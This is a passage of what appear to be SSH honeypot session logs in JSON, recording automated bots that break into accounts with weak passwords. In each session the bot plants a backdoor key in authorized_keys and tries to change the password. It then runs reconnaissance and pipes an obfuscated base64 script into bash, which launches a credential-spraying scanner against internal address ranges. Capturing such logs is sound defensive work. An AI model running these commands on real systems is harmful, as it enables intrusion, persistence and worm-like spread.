AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-24T16:31:12.979229+00:00","kind":"output","latency_ms":953,"data":""},{"seq":4,"at":"2026-08-24T16:31:16.729786+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":5,"at":"2026-08-24T16:31:16.730218+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":6,"at":"2026-08-24T16:31:17.042235+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123\\nH7RbeDLj6NTb\\nH7RbeDLj6NTb\"|passwd|bash"},{"seq":7,"at":"2026-08-24T16:31:17.350390+00:00","kind":"input","latency_ms":null,"data":"echo \"123\\nH7RbeDLj6NTb\\nH7RbeDLj6NTb\\n\"|passwd"},{"seq":8,"at":"2026-08-24T16:31:17.661506+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":9,"at":"2026-08-24T16:31:17.661929+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-24T16:31:17.971456+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-24T16:31:19.114721+00:00","kind":"output","latency_ms":1141,"data":"15888 624 1204 55 12747 13976"},{"seq":12,"at":"2026-08-24T16:31:19.425553+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-24T16:31:20.010503+00:00","kind":"output","latency_ms":585,"data":"-rwxr-xr-x 1 root root 148K May 25 15:54 /usr/bin/ls"},{"seq":14,"at":"2026-08-24T16:31:20.321094+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-24T16:31:20.321557+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-24T16:31:20.632569+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-24T16:31:20.634060+00:00","kind":"output","latency_ms":null,"data":" 16:31:20 up 4 days, 13:21, 0 user, load average: 0.07, 0.05, 0.05\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-24T16:31:20.941732+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-24T16:31:20.942776+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-24T16:31:21.252040+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-24T16:31:21.252499+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-24T16:31:21.565540+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-24T16:31:21.566322+00:00","kind":"output","latency_ms":null,"data":"top - 16:31:21 up 4 days, 13:21, 0 user, load average: 0.07, 0.05, 0.05\nTasks: 110 total, 1 running, 109 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9373 free, 6514 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-24T16:31:21.877723+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-24T16:31:21.878258+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-24T16:31:22.187579+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-24T16:31:22.188293+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-24T16:31:22.497716+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-24T16:31:22.498454+00:00","kind":"output","latency_ms":null,"data":"user14"},{"seq":30,"at":"2026-08-24T16:31:22.808068+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-24T16:31:23.419892+00:00","kind":"output","latency_ms":611,"data":"Model name: AMD EPYC 7713 64-Core Processor\nModel: 1"},{"seq":32,"at":"2026-08-24T16:31:23.730231+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-24T16:31:24.356683+00:00","kind":"output","latency_ms":625,"data":"24G"},{"seq":34,"at":"2026-08-24T16:31:25.475262+00:00","kind":"input","latency_ms":null,"data":"echo \"user14 123\" > /tmp/up.txt"},{"seq":35,"at":"2026-08-24T16:31:25.784229+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":36,"at":"2026-08-24T16:31:26.227433+00:00","kind":"output","latency_ms":441,"data":""},{"seq":37,"at":"2026-08-24T16:31:26.851295+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":38,"at":"2026-08-24T16:31:27.260732+00:00","kind":"output","latency_ms":409,"data":"1"},{"seq":39,"at":"2026-08-24T16:31:27.572438+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":40,"at":"2026-08-24T16:31:28.032246+00:00","kind":"output","latency_ms":460,"data":"1"},{"seq":41,"at":"2026-08-24T16:31:28.343459+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-24T16:31:28.653733+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":43,"at":"2026-08-24T16:31:29.189097+00:00","kind":"output","latency_ms":535,"data":"1"},{"seq":44,"at":"2026-08-24T16:31:29.498090+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":45,"at":"2026-08-24T16:31:30.297432+00:00","kind":"output","latency_ms":798,"data":"1"},{"seq":46,"at":"2026-08-24T16:31:30.609069+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":47,"at":"2026-08-24T16:31:31.016773+00:00","kind":"output","latency_ms":406,"data":""},{"seq":48,"at":"2026-08-24T16:31:38.863247+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":49,"at":"2026-08-24T16:31:38.864190+00:00","kind":"output","latency_ms":null,"data":"user14"}],"credentials":[{"username":"user14","password":"123","method":"password","accepted":true,"tier":"other"}]} {"id":"1eb2e852-b7ac-4cfc-825c-6620400edb12","name":"dewy-nautical-civet","protocol":"ssh","channel_kind":"exec","src_ip":"168.119.48.179","src_port":55760,"username":"jarservice","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":316,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-24T16:28:31.114422+00:00","ended_at":"2026-08-24T16:28:31.203018+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3462,"events":[{"seq":1,"at":"2026-08-24T16:28:03.823701+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-24T16:28:04.139685+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-24T16:28:08.480641+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-24T16:28:08.481110+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-24T16:28:08.798380+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123456\\njsgoPEskJcNH\\njsgoPEskJcNH\"|passwd|bash"},{"seq":6,"at":"2026-08-24T16:28:09.112521+00:00","kind":"input","latency_ms":null,"data":"echo \"123456\\njsgoPEskJcNH\\njsgoPEskJcNH\\n\"|passwd"},{"seq":7,"at":"2026-08-24T16:28:09.429016+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-24T16:28:09.429533+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-24T16:28:09.744233+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-24T16:28:10.427909+00:00","kind":"output","latency_ms":684,"data":"15888 1244 13411 1183 0 0"},{"seq":11,"at":"2026-08-24T16:28:10.744311+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-24T16:28:11.475363+00:00","kind":"output","latency_ms":730,"data":"-rwxr-xr-x 1 root root 148K Jan 24 2026 /usr/bin/ls"},{"seq":13,"at":"2026-08-24T16:28:11.791658+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-24T16:28:11.792202+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-24T16:28:12.108250+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-24T16:28:12.108717+00:00","kind":"output","latency_ms":null,"data":" 16:28:12 up 4 days, 13:18, 0 user, load average: 0.28, 0.37, 0.18\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-24T16:28:12.424388+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-24T16:28:12.425115+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-24T16:28:12.741678+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-24T16:28:12.742151+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-24T16:28:13.057370+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-24T16:28:13.057926+00:00","kind":"output","latency_ms":null,"data":"top - 16:28:13 up 4 days, 13:18, 0 user, load average: 0.28, 0.37, 0.18\nTasks: 106 total, 1 running, 105 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7785 free, 8102 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-24T16:28:13.373648+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-24T16:28:13.374150+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-24T16:28:13.691015+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-24T16:28:13.691770+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-24T16:28:14.008163+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-24T16:28:14.008578+00:00","kind":"output","latency_ms":null,"data":"jarservice"},{"seq":29,"at":"2026-08-24T16:28:14.325264+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-24T16:28:15.248769+00:00","kind":"output","latency_ms":923,"data":"Model name: AMD EPYC 7713 64-Core Processor\n\u0d28"},{"seq":31,"at":"2026-08-24T16:28:15.564791+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-24T16:28:16.319522+00:00","kind":"output","latency_ms":752,"data":"24G"},{"seq":33,"at":"2026-08-24T16:28:17.322639+00:00","kind":"input","latency_ms":null,"data":"echo \"jarservice 123456\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-24T16:28:17.637857+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-24T16:28:18.628019+00:00","kind":"output","latency_ms":990,"data":""},{"seq":36,"at":"2026-08-24T16:28:18.726368+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":37,"at":"2026-08-24T16:28:19.599928+00:00","kind":"output","latency_ms":872,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":38,"at":"2026-08-24T16:28:19.917579+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-24T16:28:20.549930+00:00","kind":"output","latency_ms":632,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":40,"at":"2026-08-24T16:28:20.865549+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-24T16:28:21.180632+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-24T16:28:21.729738+00:00","kind":"output","latency_ms":548,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":43,"at":"2026-08-24T16:28:22.047576+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-24T16:28:22.567047+00:00","kind":"output","latency_ms":518,"data":"cat: /var/tmp/.systemcache436621: No such file or directory"},{"seq":45,"at":"2026-08-24T16:28:22.881455+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-24T16:28:23.487519+00:00","kind":"output","latency_ms":604,"data":""},{"seq":47,"at":"2026-08-24T16:28:31.117197+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":48,"at":"2026-08-24T16:28:31.117910+00:00","kind":"output","latency_ms":null,"data":"jarservice"}],"credentials":[{"username":"jarservice","password":"123456","method":"password","accepted":true,"tier":"other"}]} {"id":"3c7678b6-8be4-4003-89a0-62a96e45e99f","name":"pewter-lucid-snipe","protocol":"ssh","channel_kind":"exec","src_ip":"103.164.57.37","src_port":55784,"username":"crafty","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":713,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-24T16:21:45.170200+00:00","ended_at":"2026-08-24T16:21:45.395008+00:00","ended_reason":"exec complete","commands":27,"transcript_bytes":3248,"events":[{"seq":1,"at":"2026-08-24T16:21:03.896206+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-24T16:21:04.608538+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-24T16:21:11.067751+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-24T16:21:11.068278+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-24T16:21:11.781408+00:00","kind":"input","latency_ms":null,"data":"echo -e \"crafty123\\nHX0pAKy93Kw7\\nHX0pAKy93Kw7\"|passwd|bash"},{"seq":6,"at":"2026-08-24T16:21:12.493719+00:00","kind":"input","latency_ms":null,"data":"echo \"crafty123\\nHX0pAKy93Kw7\\nHX0pAKy93Kw7\\n\"|passwd"},{"seq":7,"at":"2026-08-24T16:21:13.206542+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-24T16:21:13.207415+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-24T16:21:13.921252+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-24T16:21:14.760370+00:00","kind":"output","latency_ms":836,"data":"15888 1423 11031 93 402 2938"},{"seq":11,"at":"2026-08-24T16:21:15.473056+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-24T16:21:16.093596+00:00","kind":"output","latency_ms":619,"data":"-rwxr-xr-x 1 root root 138K Aug 20 03:09 /usr/bin/ls"},{"seq":13,"at":"2026-08-24T16:21:16.807360+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-24T16:21:16.808193+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-24T16:21:17.521734+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-24T16:21:17.522651+00:00","kind":"output","latency_ms":null,"data":" 16:21:17 up 4 days, 13:11, 0 user, load average: 0.34, 0.31, 0.3\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-24T16:21:18.234687+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-24T16:21:18.235211+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-24T16:21:18.950402+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-24T16:21:18.951149+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-24T16:21:19.665147+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-24T16:21:19.665747+00:00","kind":"output","latency_ms":null,"data":"top - 16:21:19 up 4 days, 13:11, 0 user, load average: 0.34, 0.31, 0.3\nTasks: 125 total, 1 running, 124 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9373 free, 6514 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-24T16:21:20.379422+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-24T16:21:20.380487+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-24T16:21:21.092502+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-24T16:21:21.093321+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-24T16:21:21.805415+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-24T16:21:21.806004+00:00","kind":"output","latency_ms":null,"data":"crafty"},{"seq":29,"at":"2026-08-24T16:21:22.522067+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-24T16:21:23.238462+00:00","kind":"output","latency_ms":718,"data":"Model name: AMD EPYC 7713 64-Core Processor"},{"seq":31,"at":"2026-08-24T16:21:23.955113+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-24T16:21:24.433853+00:00","kind":"output","latency_ms":481,"data":"24G"},{"seq":33,"at":"2026-08-24T16:21:26.671717+00:00","kind":"input","latency_ms":null,"data":"echo \"crafty crafty123\" > /tmp/up.txt"},{"seq":34,"at":"2026-08-24T16:21:27.385508+00:00","kind":"input","latency_ms":null,"data":"rm -rf /var/tmp/dota*"},{"seq":35,"at":"2026-08-24T16:21:27.875549+00:00","kind":"output","latency_ms":489,"data":""},{"seq":36,"at":"2026-08-24T16:21:29.929497+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":37,"at":"2026-08-24T16:21:30.890750+00:00","kind":"output","latency_ms":960,"data":"crafty123"},{"seq":38,"at":"2026-08-24T16:21:31.604459+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":39,"at":"2026-08-24T16:21:32.177363+00:00","kind":"output","latency_ms":572,"data":"crafty123"},{"seq":40,"at":"2026-08-24T16:21:32.893472+00:00","kind":"input","latency_ms":null,"data":"echo \"1\" > /var/tmp/.systemcache436621"},{"seq":41,"at":"2026-08-24T16:21:33.603597+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":42,"at":"2026-08-24T16:21:34.538837+00:00","kind":"output","latency_ms":934,"data":"1"},{"seq":43,"at":"2026-08-24T16:21:35.252669+00:00","kind":"input","latency_ms":null,"data":"cat /var/tmp/.systemcache436621"},{"seq":44,"at":"2026-08-24T16:21:35.669425+00:00","kind":"output","latency_ms":416,"data":"1"},{"seq":45,"at":"2026-08-24T16:21:36.382740+00:00","kind":"input","latency_ms":null,"data":"sleep 15s && cd /var/tmp; echo \"IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjkxLXVuaXgKY2QgLlgyOTEtdW5peAptdiAvdmFyL3RtcC9kb3RhMy50YXIuZ3ogZG90YTMudGFyLmd6CnRhciB4ZiBkb3RhMy50YXIuZ3oKc2xlZXAgM3MgJiYgY2QgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyOTEtdW5peC8ucnN5bmMvYy9rdGhyZWFkYWRkIC10IDE1MCAtUyA2IC1zIDYgLXAgMjIgLVAgMCAtZiAwIC1rIDEgLWwgMSAtaSAwIC90bXAvdXAudHh0IDE5Mi4xNjggPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgOG0gJiYgbm9odXAgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9jL2t0aHJlYWRhZGQgLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDI5MS11bml4Ly5yc3luYy9pbml0YWxsIDI+MSYKZXhpdCAw\" | base64 --decode | bash"},{"seq":46,"at":"2026-08-24T16:21:45.171594+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":47,"at":"2026-08-24T16:21:45.172093+00:00","kind":"output","latency_ms":null,"data":"crafty"}],"credentials":[{"username":"crafty","password":"crafty123","method":"password","accepted":true,"tier":"other"}]} 